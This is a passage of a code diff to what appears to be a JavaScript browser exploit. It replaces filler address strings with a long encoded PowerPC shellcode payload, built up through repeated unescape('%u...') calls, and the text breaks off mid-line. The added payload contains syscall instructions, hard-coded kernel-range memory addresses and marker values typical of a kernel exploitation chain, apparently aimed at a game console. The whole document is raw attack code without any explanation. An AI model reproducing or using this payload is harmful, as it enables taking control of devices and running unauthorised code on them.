unescape("%u0000%u2d00%u0000%u2d04%u0000%u2d08%u0000%u2d0c%u0000%u2d10%u0000%u2d14%u0000%u2d18%u0000%u2d1c%u0000%u2d20%u0000%u2d24%u0000%u2d28%u0000%u2d2c%u0000%u2d30%u0000%u2d34%u0000%u2d38%u0000%u2d3c"); - str += unescape("%u0000%u2d40%u0000%u2d44%u0000%u2d48%u0000%u2d4c%u0000%u2d50%u0000%u2d54%u0000%u2d58%u0000%u2d5c%u0000%u2d60%u0000%u2d64%u0000%u2d68%u0000%u2d6c%u0000%u2d70%u0000%u2d74%u0000%u2d78%u0000%u2d7c"); - str += unescape("%u0000%u2d80%u0000%u2d84%u0000%u2d88%u0000%u2d8c%u0000%u2d90%u0000%u2d94%u0000%u2d98%u0000%u2d9c%u0000%u2da0%u0000%u2da4%u0000%u2da8%u0000%u2dac%u0000%u2db0%u0000%u2db4%u0000%u2db8%u0000%u2dbc"); - str += unescape("%u0000%u2dc0%u0000%u2dc4%u0000%u2dc8%u0000%u2dcc%u0000%u2dd0%u0000%u2dd4%u0000%u2dd8%u0000%u2ddc%u0000%u2de0%u0000%u2de4%u0000%u2de8%u0000%u2dec%u0000%u2df0%u0000%u2df4%u0000%u2df8%u0000%u2dfc"); - str += unescape("%u0000%u2e00%u0000%u2e04%u0000%u2e08%u0000%u2e0c%u0000%u2e10%u0000%u2e14%u0000%u2e18%u0000%u2e1c%u0000%u2e20%u0000%u2e24%u0000%u2e28%u0000%u2e2c%u0000%u2e30%u0000%u2e34%u0000%u2e38%u0000%u2e3c"); - str += unescape("%u0000%u2e40%u0000%u2e44%u0000%u2e48%u0000%u2e4c%u0000%u2e50%u0000%u2e54%u0000%u2e58%u0000%u2e5c%u0000%u2e60%u0000%u2e64%u0000%u2e68%u0000%u2e6c%u0000%u2e70%u0000%u2e74%u0000%u2e78%u0000%u2e7c"); - str += unescape("%u0000%u2e80%u0000%u2e84%u0000%u2e88%u0000%u2e8c%u0000%u2e90%u0000%u2e94%u0000%u2e98%u0000%u2e9c%u0000%u2ea0%u0000%u2ea4%u0000%u2ea8%u0000%u2eac%u0000%u2eb0%u0000%u2eb4%u0000%u2eb8%u0000%u2ebc"); - str += unescape("%u0000%u2ec0%u0000%u2ec4%u0000%u2ec8%u0000%u2ecc%u0000%u2ed0%u0000%u2ed4%u0000%u2ed8%u0000%u2edc%u0000%u2ee0%u0000%u2ee4%u0000%u2ee8%u0000%u2eec%u0000%u2ef0%u0000%u2ef4%u0000%u2ef8%u0000%u2efc"); - str += unescape("%u0000%u2f00%u0000%u2f04%u0000%u2f08%u0000%u2f0c%u0000%u2f10%u0000%u2f14%u0000%u2f18%u0000%u2f1c%u0000%u2f20%u0000%u2f24%u0000%u2f28%u0000%u2f2c%u0000%u2f30%u0000%u2f34%u0000%u2f38%u0000%u2f3c"); - str += unescape("%u0000%u2f40%u0000%u2f44%u0000%u2f48%u0000%u2f4c%u0000%u2f50%u0000%u2f54%u0000%u2f58%u0000%u2f5c%u0000%u2f60%u0000%u2f64%u0000%u2f68%u0000%u2f6c%u0000%u2f70%u0000%u2f74%u0000%u2f78%u0000%u2f7c"); - str += unescape("%u0000%u2f80%u0000%u2f84%u0000%u2f88%u0000%u2f8c%u0000%u2f90%u0000%u2f94%u0000%u2f98%u0000%u2f9c%u0000%u2fa0%u0000%u2fa4%u0000%u2fa8%u0000%u2fac%u0000%u2fb0%u0000%u2fb4%u0000%u2fb8%u0000%u2fbc"); - str += unescape("%u0000%u2fc0%u0000%u2fc4%u0000%u2fc8%u0000%u2fcc%u0000%u2fd0%u0000%u2fd4%u0000%u2fd8%u0000%u2fdc%u0000%u2fe0%u0000%u2fe4%u0000%u2fe8%u0000%u2fec%u0000%u2ff0%u0000%u2ff4%u0000%u2ff8%u0000%u2ffc"); - str += unescape("%u0000%u3000%u0000%u3004%u0000%u3008%u0000%u300c%u0000%u3010%u0000%u3014%u0000%u3018%u0000%u301c%u0000%u3020%u0000%u3024%u0000%u3028%u0000%u302c%u0000%u3030%u0000%u3034%u0000%u3038%u0000%u303c"); - str += unescape("%u0000%u3040%u0000%u3044%u0000%u3048%u0000%u304c%u0000%u3050%u0000%u3054%u0000%u3058%u0000%u305c%u0000%u3060%u0000%u3064%u0000%u3068%u0000%u306c%u0000%u3070%u0000%u3074%u0000%u3078%u0000%u307c"); - str += unescape("%u0000%u3080%u0000%u3084%u0000%u3088%u0000%u308c%u0000%u3090%u0000%u3094%u0000%u3098%u0000%u309c%u0000%u30a0%u0000%u30a4%u0000%u30a8%u0000%u30ac%u0000%u30b0%u0000%u30b4%u0000%u30b8%u0000%u30bc"); - str += unescape("%u0000%u30c0%u0000%u30c4%u0000%u30c8%u0000%u30cc%u0000%u30d0%u0000%u30d4%u0000%u30d8%u0000%u30dc%u0000%u30e0%u0000%u30e4%u0000%u30e8%u0000%u30ec%u0000%u30f0%u0000%u30f4%u0000%u30f8%u0000%u30fc"); - str += unescape("%u0000%u3100%u0000%u3104%u0000%u3108%u0000%u310c%u0000%u3110%u0000%u3114%u0000%u3118%u0000%u311c%u0000%u3120%u0000%u3124%u0000%u3128%u0000%u312c%u0000%u3130%u0000%u3134%u0000%u3138%u0000%u313c"); - str += unescape("%u0000%u3140%u0000%u3144%u0000%u3148%u0000%u314c%u0000%u3150%u0000%u3154%u0000%u3158%u0000%u315c%u0000%u3160%u0000%u3164%u0000%u3168%u0000%u316c%u0000%u3170%u0000%u3174%u0000%u3178%u0000%u317c"); - str += unescape("%u0000%u3180%u0000%u3184%u0000%u3188%u0000%u318c%u0000%u3190%u0000%u3194%u0000%u3198%u0000%u319c%u0000%u31a0%u0000%u31a4%u0000%u31a8%u0000%u31ac%u0000%u31b0%u0000%u31b4%u0000%u31b8%u0000%u31bc"); - str += unescape("%u0000%u31c0%u0000%u31c4%u0000%u31c8%u0000%u31cc%u0000%u31d0%u0000%u31d4%u0000%u31d8%u0000%u31dc%u0000%u31e0%u0000%u31e4%u0000%u31e8%u0000%u31ec%u0000%u31f0%u0000%u31f4%u0000%u31f8%u0000%u31fc"); - str += unescape("%u0000%u3200%u0000%u3204%u0000%u3208%u0000%u320c%u0000%u3210%u0000%u3214%u0000%u3218%u0000%u321c%u0000%u3220%u0000%u3224%u0000%u3228%u0000%u322c%u0000%u3230%u0000%u3234%u0000%u3238%u0000%u323c"); - str += unescape("%u0000%u3240%u0000%u3244%u0000%u3248%u0000%u324c%u0000%u3250%u0000%u3254%u0000%u3258%u0000%u325c%u0000%u3260%u0000%u3264%u0000%u3268%u0000%u326c%u0000%u3270%u0000%u3274%u0000%u3278%u0000%u327c"); - str += unescape("%u0000%u3280%u0000%u3284%u0000%u3288%u0000%u328c%u0000%u3290%u0000%u3294%u0000%u3298%u0000%u329c%u0000%u32a0%u0000%u32a4%u0000%u32a8%u0000%u32ac%u0000%u32b0%u0000%u32b4%u0000%u32b8%u0000%u32bc"); + str += unescape("%u3c60%ufff1%u6063%ud638%u3c80%u3ce0%u6084%u3080%u9083%u0000%u3c80%u60e7%u6084%u0012%u9083%u0004%u3c80%u7cf1%u6084%u8ba6%u9083%u0008%u3c80%u3ce0%u6084%u0080%u9083%u000c%u3c80%u60e7%u6084%u00ff"); + str += unescape("%u9083%u0010%u3c80%u7cf0%u6084%u8ba6%u9083%u0014%u3c80%u7c00%u6084%u06ac%u9083%u0018%u3c80%u4c00%u6084%u012c%u9083%u001c%u3c80%u7ce8%u6084%u02a6%u9083%u0020%u3c80%u4880%u6084%u0003%u9083%u0024"); + str += unescape("%u3c60%ufff1%u6063%ud620%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud640%u7c00%u18ac%u7c00%u1fac%u7c00%u04ac%u3c60%u3080%u6063%u0012%u7c71%u8ba6%u3c60%u0080%u6063%u00ff%u7c70%u8ba6%u7c00%u06ac"); + str += unescape("%u4c00%u012c%u3c80%u6000%u3c60%ufff0%u6063%u6a14%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u6aa0%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff0%u6063%u03c8%u9083%u0000%u7c00%u18ac"); + str += unescape("%u7c00%u1fac%u3c60%ufff0%u6063%u03cc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud720%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%ufff1%u6063%ud73c%u9083%u0000%u7c00%u18ac%u7c00%u1fac"); + str += unescape("%u3c60%ufff1%u6063%ud840%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u3c60%uffee%u6063%u0002%u7c78%u83a6%u3c60%uffee%u6063%u0032%u7c79%u83a6%u7c00%u06ac%u4c00%u012c%u3c80%u6000"); + str += unescape("%u3c60%uffee%u6063%u10b8%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u3c60%uffee%u6063%u10bc%u9083%u0000%u7c00%u18ac%u7c00%u1fac%u7c00%u06ac%u4c00%u012c%u7fd8%u83a6%u7ff9%u83a6%u7c00%u06ac%u4c00%u012c"); + str += unescape("%u4c00%u0064%u5463%u083c%u3863%u0001%u7c69%u03a6%u4240%u000c%u6000%u0000%u4bff%ufff8%u4e80%u0020%u9421%uffd0%u7c08%u02a6%u3ca0%u0180%u3880%u0000%ubfc1%u0028%u3fe0%u0102%u63ff%ub790%u9001%u0034"); + str += unescape("%u7fe9%u03a6%u38a5%u207c%u38c1%u001c%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2083%u38c1%u0018%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000"); + str += unescape("%u38a5%u2095%u38c1%u0014%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u20a4%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u20b6%u38c1%u000c"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u38c1%u0008%u38a5%u20bf%u7fc3%uf378%u3880%u0000%u7fe9%u03a6%u4e80%u0421%u8121%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0018%u7c7e%u1b78%u3880%u0040%u7d29%u03a6%u3860%u0100"); + str += unescape("%u4e80%u0421%u8121%u001c%u3880%u0000%u38a0%u0100%u7d29%u03a6%u7c7f%u1b78%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u38a0%u0003%u38c0%u0000%u38e0%u0000%u7d29%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u000c"); + str += unescape("%u7fc3%uf378%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u3c60%u1fff%u6063%uffff%u4bff%ufea1%u3961%u0030%u4800%u1be0%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubfa1%u001c"); + str += unescape("%u6129%ub790%u7cbe%u2b78%u3ca0%u0180%u9001%u002c%u7c9d%u2378%u7cdf%u3378%u7d29%u03a6%u3880%u0000%u38a5%u20c7%u38c1%u0008%u4e80%u0421%u8121%u0008%u7fa4%ueb78%u7fc5%uf378%u7d29%u03a6%u7fe6%ufb78"); + str += unescape("%u3860%u0000%u4e80%u0421%u8121%u0008%u3860%u0001%u7fa4%ueb78%u7fc5%uf378%u7fe6%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1b60%u9421%uffd8%u7c08%u02a6%u3d20%u0102%ubf81%u0018%u6129%ub790"); + str += unescape("%u7cbd%u2b78%u3ca0%u0180%u9001%u002c%u38a5%u20d9%u7d29%u03a6%u7c9e%u2378%u7cdc%u3378%u3880%u0000%u38c1%u0008%u7cff%u3b78%u579c%u402e%u57bd%u801e%u7f9f%ufb78%u57de%uc00e%u7fff%ueb78%u4e80%u0421"); + str += unescape("%u8121%u0008%u7fff%uf378%u3860%u0000%u7d29%u03a6%u7fe4%ufb78%u4e80%u0421%u8121%u0008%u3860%u0001%u7fe4%ufb78%u7d29%u03a6%u4e80%u0421%u3961%u0028%u4800%u1ad4%u9421%uffe0%u7c08%u02a6%u3ca0%u0180"); + str += unescape("%u3880%u0000%ubfc1%u0018%u3fe0%u0102%u63ff%ub790%u9001%u0024%u7fe9%u03a6%u38a5%u20ef%u38c1%u0010%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u7fc3%uf378%u3880%u0000%u38a5%u20fc%u38c1%u000c"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u38a5%u2112%u38c1%u0008%u3880%u0000%u7fe9%u03a6%u7fc3%uf378%u4e80%u0421%u8121%u0008%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7c7f%u1b78%u3860%u0001%u7d29%u03a6"); + str += unescape("%u4e80%u0421%u8121%u0010%u7c64%u1b78%u3c7f%uf400%u7d29%u03a6%u4e80%u0421%u8121%u0010%u7fe4%ufb78%u3c60%uf400%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c"); + str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u19fc%u9421%uffe8%u7c08%u02a6%ubfa1%u000c%u7c9e%u2378%u7c7f%u1b78%u7fc6%uf378%u3880%u0000%u9001%u001c%u7cbd%u2b78%u4bff%ufdf9%u7fe3%ufb78"); + str += unescape("%u4bff%ufef5%u7fe3%ufb78%u7fa5%ueb78%u7fc6%uf378%u3880%u0000%u4bff%ufddd%u8001%u001c%u7fe3%ufb78%ubba1%u000c%u7c08%u03a6%u3821%u0018%u4bff%ufec8%u9421%uffe0%u7c08%u02a6%u3ca0%u0180%u3880%u0000"); + str += unescape("%ubfc1%u0018%u3fc0%u0102%u63de%ub790%u9001%u0024%u7fc9%u03a6%u38a5%u212a%u38c1%u0010%u7c7f%u1b78%u4e80%u0421%u3ca0%u0180%u7fc9%u03a6%u7fe3%ufb78%u3880%u0000%u38a5%u2112%u38c1%u000c%u4e80%u0421"); + str += unescape("%u3ca0%u0180%u38a5%u2137%u38c1%u0008%u3880%u0000%u7fe3%ufb78%u7fc9%u03a6%u4e80%u0421%u8121%u0010%u7d29%u03a6%u4e80%u0421%u8121%u000c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u000c%u7c7e%u1b78"); + str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c80%uf400%u3860%u0000%u7d29%u03a6%u4e80%u0421%u8121%u0008%u3c9e%uf400%u3860%u0001%u7d29%u03a6%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000"); + str += unescape("%u38e0%u0000%u7fe3%ufb78%u4bff%ufd65%u7fe3%ufb78%u4bff%ufde5%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufd45%u7fe3%ufb78%u4bff%ufdc5%u3c80%u0180%u7fe3%ufb78%u3884%u214b"); + str += unescape("%u38a0%u0000%u4bff%ufe91%u3961%u0020%u4800%u1880%u7c08%u02a6%u9421%uffe0%u3d20%u0102%u3ca0%u0180%u6129%ub790%u93e1%u001c%u7d29%u03a6%u9001%u0024%u3880%u0000%u38a5%u2163%u38c1%u0008%u7c7f%u1b78"); + str += unescape("%u4e80%u0421%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcd5%u7fe3%ufb78%u4bff%ufd55%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u7fe3%ufb78%u4bff%ufcb5%u7fe3%ufb78"); + str += unescape("%u4bff%ufd35%u8121%u0008%u7d29%u03a6%u4e80%u0421%u3961%u0020%u4800%u17fc%u9421%uffd8%u7c08%u02a6%u3ca0%u0180%ubfa1%u001c%u3fe0%u0102%u63ff%ub790%u9001%u002c%u7fe9%u03a6%u7c9d%u2378%u38a5%u2083"); + str += unescape("%u3880%u0000%u38c1%u0014%u7c7e%u1b78%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2169%u38c1%u0010%u4e80%u0421%u3ca0%u0180%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u38a5%u2178"); + str += unescape("%u38c1%u000c%u4e80%u0421%u3ca0%u0180%u38a5%u2187%u38c1%u0008%u7fc3%uf378%u7fe9%u03a6%u3880%u0000%u4e80%u0421%u8121%u0014%u3880%u0020%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0014%u7c7e%u1b78"); + str += unescape("%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0010%u3920%u0000%u7fa4%ueb78%u7d69%u03a6%u38a0%u0000%u38c0%u0000%u38fe%u0300%u3900%u0300%u3940%u001a%u7c7f%u1b78%u4e80%u0421%u8121%u000c"); + str += unescape("%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u8121%u0008%u7fe3%ufb78%u7d29%u03a6%u4e80%u0421%u2f83%u0000%u409e%u0028%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000"); + str += unescape("%u6000%u0000%u4bff%uffc8%u3961%u0028%u4800%u16bc%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u001c%u7d03%u48ae%u7d44%u48ae%u7f88%u5000%u409e%u0014%u3929%u0001%u4bff%uffe8%u3860%u0000%u4e80%u0020"); + str += unescape("%u3860%u0001%u4e80%u0020%u38a5%u0001%u3920%u0000%u7ca9%u03a6%u4240%u0014%u7d44%u48ae%u7d43%u49ae%u3929%u0001%u4bff%ufff0%u4e80%u0020%u7c08%u02a6%u9421%uffe8%ubf81%u0008%u7c7e%u1b78%u9001%u001c"); + str += unescape("%u7c9d%u2378%u7cbf%u2b78%u3f80%u0180%u7f9f%ue000%u419e%u0024%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff71%u2f83%u0000%u419e%u005c%u3bff%u0004%u4bff%uffdc%u3f80%u0f84%u3fe0%u0d80%u639c%u8a0c"); + str += unescape("%u7fe3%ufb78%u7fc4%uf378%u7fa5%ueb78%u4bff%uff45%u2f83%u0000%u419e%u0030%u3bff%u0004%u7f9f%ue000%u409e%uffe0%u3d20%u0103%u3c60%u0180%u6129%u1368%u3863%u219c%u7d29%u03a6%u4e80%u0421%u3860%u0000"); + str += unescape("%u4800%u0008%u7fe3%ufb78%u3961%u0018%u4800%u15b8%u7c08%u02a6%u9421%ufff0%u93e1%u000c%u7c7f%u1b78%u9001%u0014%u3860%u0001%u3880%u0000%u38a0%u0000%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78"); + str += unescape("%u3800%u3400%u7c3f%u0b78%u4400%u0002%u6000%u0000%u7fe1%ufb78%u7c7f%u1b78%u3961%u0010%u7fe3%ufb78%u4800%u1570%u7c08%u02a6%u9421%ufff0%ubfc1%u0008%u7c7f%u1b78%u9001%u0014%u7c9e%u2378%u3860%u0001"); + str += unescape("%u3880%u0000%u7fc5%uf378%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fe9%ufb78%u7c3e%u0b78%u3800%u3500%u4400%u0002%u6000%u0000%u7fc1%uf378%u3961%u0010%u4800%u151c%u9421%ufea0%u7c08%u02a6%u3c60%u0180"); + str += unescape("%ube41%u0128%u3fe0%u0102%u63ff%ua31c%u9001%u0164%u7fe9%u03a6%u3863%u21ae%u3881%u0124%u4e80%u0421%u3c60%u0180%u7fe9%u03a6%u3881%u0120%u3863%u21b7%u3fe0%u0102%u63ff%ub790%u4e80%u0421%u8061%u0124"); + str += unescape("%u4bff%uf7a1%u8061%u0124%u4bff%ufb29%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u207c%u38c1%u011c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u21be%u38c1%u0118"); + str += unescape("%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2083%u38c1%u0114%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2095%u38c1%u0110%u4e80%u0421%u3ca0%u0180"); + str += unescape("%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u20ef%u38c1%u010c%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u21c5%u38c1%u0108%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124"); + str += unescape("%u3880%u0000%u38a5%u21d7%u38c1%u0104%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2169%u38c1%u0100%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2178"); + str += unescape("%u38c1%u00fc%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u21e9%u38c1%u00f8%u4e80%u0421%u3ca0%u0180%u7fe9%u03a6%u8061%u0124%u3880%u0000%u38a5%u2163%u38c1%u00f4%u4e80%u0421"); + str += unescape("%u3ca0%u0180%u7fe9%u03a6%u8061%u0120%u3880%u0000%u38a5%u21f3%u38c1%u00f0%u4e80%u0421%u3ca0%u0180%u38a5%u2206%u38c1%u00ec%u7fe9%u03a6%u8061%u0120%u3880%u0000%u4e80%u0421%u8121%u0114%u3880%u0020"); + str += unescape("%u3860%u0300%u7d29%u03a6%u4e80%u0421%u8121%u0114%u7c7f%u1b78%u3880%u0020%u7d29%u03a6%u3860%u0300%u4e80%u0421%u8121%u0114%u7c7e%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421%u8161%u0100"); + str += unescape("%u38a0%u0000%u38c0%u0000%u7d69%u03a6%u38ff%u0300%u3900%u0300%u3940%u0001%u8081%u00f4%u3920%u0000%u7c7b%u1b78%u4e80%u0421%u8121%u0114%u7c7d%u1b78%u3880%u0008%u7d29%u03a6%u3860%u1000%u4e80%u0421"); + str += unescape("%u8161%u0100%u8081%u00f4%u38a0%u0000%u38c0%u0000%u38fe%u0300%u3900%u0300%u3920%u0000%u3940%u0004%u7d69%u03a6%u7c7c%u1b78%u4e80%u0421%u2f9d%u0000%u419e%u000c%u2f83%u0000%u409e%u002c%u8061%u0124"); + str += unescape("%u3c80%u0180%u3884%u2218%u38a0%u0001%u4bff%uf889%u3c60%u2fff%u6063%uffff%u4bff%uf52d%u8061%u0124%u4bff%uf9f1%u8061%u0124%u3c80%u0180%u3884%u2244%u38a0%u0001%u4bff%uf861%u3d20%u0102%u6129%ub790"); + str += unescape("%u3ca0%u0180%u38c1%u00e8%u7d29%u03a6%u8061%u0124%u3880%u0000%u38a5%u2257%u3fa0%u0180%u3bbd%u1fa0%u4e80%u0421%u8121%u00e8%u7fa4%ueb78%u38a0%u002c%u3929%u0044%u3861%u0040%u9121%u00e8%u4bff%ufb8d"); + str += unescape("%u80a1%u00f8%u3880%u002c%u3861%u0040%u4bff%ufba1%u389d%u002c%u7c7a%u1b78%u3861%u009c%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u00f8%u4bff%ufb81%u389d%u0044%u7c77%u1b78%u3861%u0084%u7ca4%uc4aa"); + str += unescape("%u7ca3%uc5aa%u3880%u0018%u80a1%u00f8%u4bff%ufb61%u389d%u005c%u7c73%u1b78%u38a0%u0038%u3861%u0008%u4bff%ufb29%u80a1%u00f8%u3880%u0038%u3861%u0008%u4bff%ufb3d%u389d%u0094%u7c74%u1b78%u3861%u006c"); + str += unescape("%u7ca4%uc4aa%u7ca3%uc5aa%u3880%u0018%u80a1%u00f8%u4bff%ufb1d%u393d%u00ac%u7c76%u1b78%u3861%u00d8%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00f8%u4bff%ufafd%u393d%u00b8%u7c78%u1b78%u3861%u00cc"); + str += unescape("%u7ca9%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00f8%u4bff%ufadd%u395d%u00c4%u7c72%u1b78%u3861%u00c0%u7caa%u64aa%u7ca3%u65aa%u3880%u000c%u80a1%u00f8%u3bbd%u00d0%u4bff%ufab9%u3880%u000c%u7c75%u1b78"); + str += unescape("%u3861%u00b4%u7cbd%u64aa%u7ca3%u65aa%u80a1%u00f8%u4bff%ufa9d%u393f%u0080%u3940%u0050%u913b%u000c%u915b%u007c%u3920%u0000%u395a%u000c%u38df%u01f8%u38bf%u0220%u913b%u0078%u90db%u0084%u391f%u0208"); + str += unescape("%u915b%u0098%u3880%u0004%u90bf%u014c%u38bf%u0218%u90bf%u0168%u38bf%u0210%u90df%u01fc%u3cc0%u4452%u90bf%u0178%u60c6%u5642%u38bf%u0230%u90df%u0208%u90bf%u01a8%u3cc0%u4452%u38bf%u021c%u80e1%u00e8"); + str += unescape("%u90bf%u01c4%u60c6%u5643%u38bf%u0228%u911f%u0118%u90bf%u01dc%u3900%u0004%u38ba%u0028%u90df%u0210%u38de%u0080%u90bf%u01f4%u90ff%u0094%u7c79%u1b78%u911f%u011c%u935f%u0154%u911f%u017c%u935f%u01e4"); + str += unescape("%u915f%u01f8%u913f%u0200%u913f%u0204%u913f%u020c%u913f%u0214%u92ff%u0114%u92df%u0124%u927f%u0164%u92ff%u0174%u92df%u0184%u929f%u01b4%u913f%u0218%u913f%u021c%u913f%u0224%u913f%u022c%u925f%u0220"); + str += unescape("%u931f%u0228%u90dc%u000c%u38c0%u005c%u90dc%u007c%u38de%u01a8%u90dc%u0084%u913c%u0078%u915c%u0098%u913e%u01b0%u913e%u01b4%u913e%u01bc%u913e%u01c4%u3d20%udead%u90fe%u0094%u6129%uc0de%u38fe%u0204"); + str += unescape("%u915e%u01a8%u90fe%u0118%u3d40%u4452%u38fe%u01b8%u913e%u0204%u8121%u0114%u614a%u5641%u90fe%u0128%u38fe%u01c8%u911e%u012c%u7d29%u03a6%u911e%u0174%u391e%u01c0%u90fe%u0158%u911e%u018c%u915e%u01b8"); + str += unescape("%u90de%u01ac%u935e%u0194%u90be%u01a4%u907e%u01c0%u3860%u0008%u927e%u0114%u92fe%u0124%u92de%u0134%u929e%u0164%u4e80%u0421%u8121%u0118%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u2264%u7c7d%u1b78"); + str += unescape("%u4e80%u0421%u8121%u0114%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0118%u3c80%u0180%u38a0%u0005%u7d29%u03a6%u3884%u2269%u7c7a%u1b78%u4e80%u0421%u7fa3%ueb78%u3880%u0004%u38a0%u0000"); + str += unescape("%u38c0%u0000%u7f09%u03a6%u4e80%u0421%u3880%u0004%u7c7d%u1b78%u38a0%u0000%u7f43%ud378%u38c0%u0000%u7f09%u03a6%u4e80%u0421%u7c69%ueb79%u41a2%u0038%u8061%u0124%u3c80%u0180%u3884%u226e%u38a0%u0002"); + str += unescape("%u4bff%uf4d5%u3c60%u2fff%u6063%uffff%u4bff%uf179%u8061%u0124%u8081%u00ec%u4bff%uf6c1%u8061%u0124%u4bff%uf631%u8121%u0114%u3860%u1000%u3880%u0020%u7d29%u03a6%u4e80%u0421%u7c7d%u1b79%u40a2%u0038"); + str += unescape("%u8061%u0124%u3c80%u0180%u3884%u22a7%u38a0%u0002%u4bff%uf485%u3c60%u2fff%u6063%uffff%u4bff%uf129%u8061%u0124%u8081%u00ec%u4bff%uf671%u8061%u0124%u4bff%uf5e1%u3d20%u0123%u7fa3%ueb78%u6129%u4567"); + str += unescape("%u3880%u1000%u913d%u0000%u3d20%u4452%u6129%u5648%u913d%u0fb4%u3d20%u4158%u913d%u0fb8%u3920%u0008%u913d%u0ff4%u3d20%uffea%u6129%ua1b0%u913d%u0ff8%u8121%u010c%u7d29%u03a6%u4e80%u0421%u8121%u0108"); + str += unescape("%u3880%u1000%u7fa3%ueb78%u7d29%u03a6%u4e80%u0421%u8121%u00fc%u7f63%udb78%u7d29%u03a6%u4e80%u0421%u8121%u00fc%u7f83%ue378%u7d29%u03a6%u4e80%u0421%u3ca0%uc000%u3880%u0004%u60a5%u0004%u38c0%u0004"); + str += unescape("%u7f29%u03a6%u7f43%ud378%u4e80%u0421%u3920%u0000%u38c0%u1000%u913e%u01ac%u7fa5%ueb78%u913f%u01fc%u3880%u0004%u7f29%u03a6%u7f43%ud378%u3fc0%ufff0%u63de%u2274%u4e80%u0421%u8121%u0114%u3880%u0004"); + str += unescape("%u3860%u0008%u7d29%u03a6%u4e80%u0421%u8121%u0118%u3c80%u0180%u38a0%u0007%u7d29%u03a6%u3884%u22d7%u7c7f%u1b78%u4e80%u0421%u8121%u0114%u3880%u0004%u3860%u0008%u7d29%u03a6%u4e80%u0421%u3d20%ufff0"); + str += unescape("%u6129%u2294%u7c65%u1b78%u9123%u0004%u3880%u0006%u93c3%u0000%u38c0%u0008%u7f29%u03a6%u7fe3%ufb78%u4e80%u0421%u3920%u002a%u7c25%u0b78%u7fe3%ufb78%u9525%u00e4%u3880%u0006%u38c0%u0004%u7ea9%u03a6"); + str += unescape("%u4e80%u0421%u8121%u00e4%u7f89%uf000%u419e%u0038%u8061%u0124%u3c80%u0180%u3884%u22de%u38a0%u0002%u4bff%uf2f5%u3c60%u2fff%u6063%uffff%u4bff%uef99%u8061%u0124%u8081%u00ec%u4bff%uf4e1%u8061%u0124"); + str += 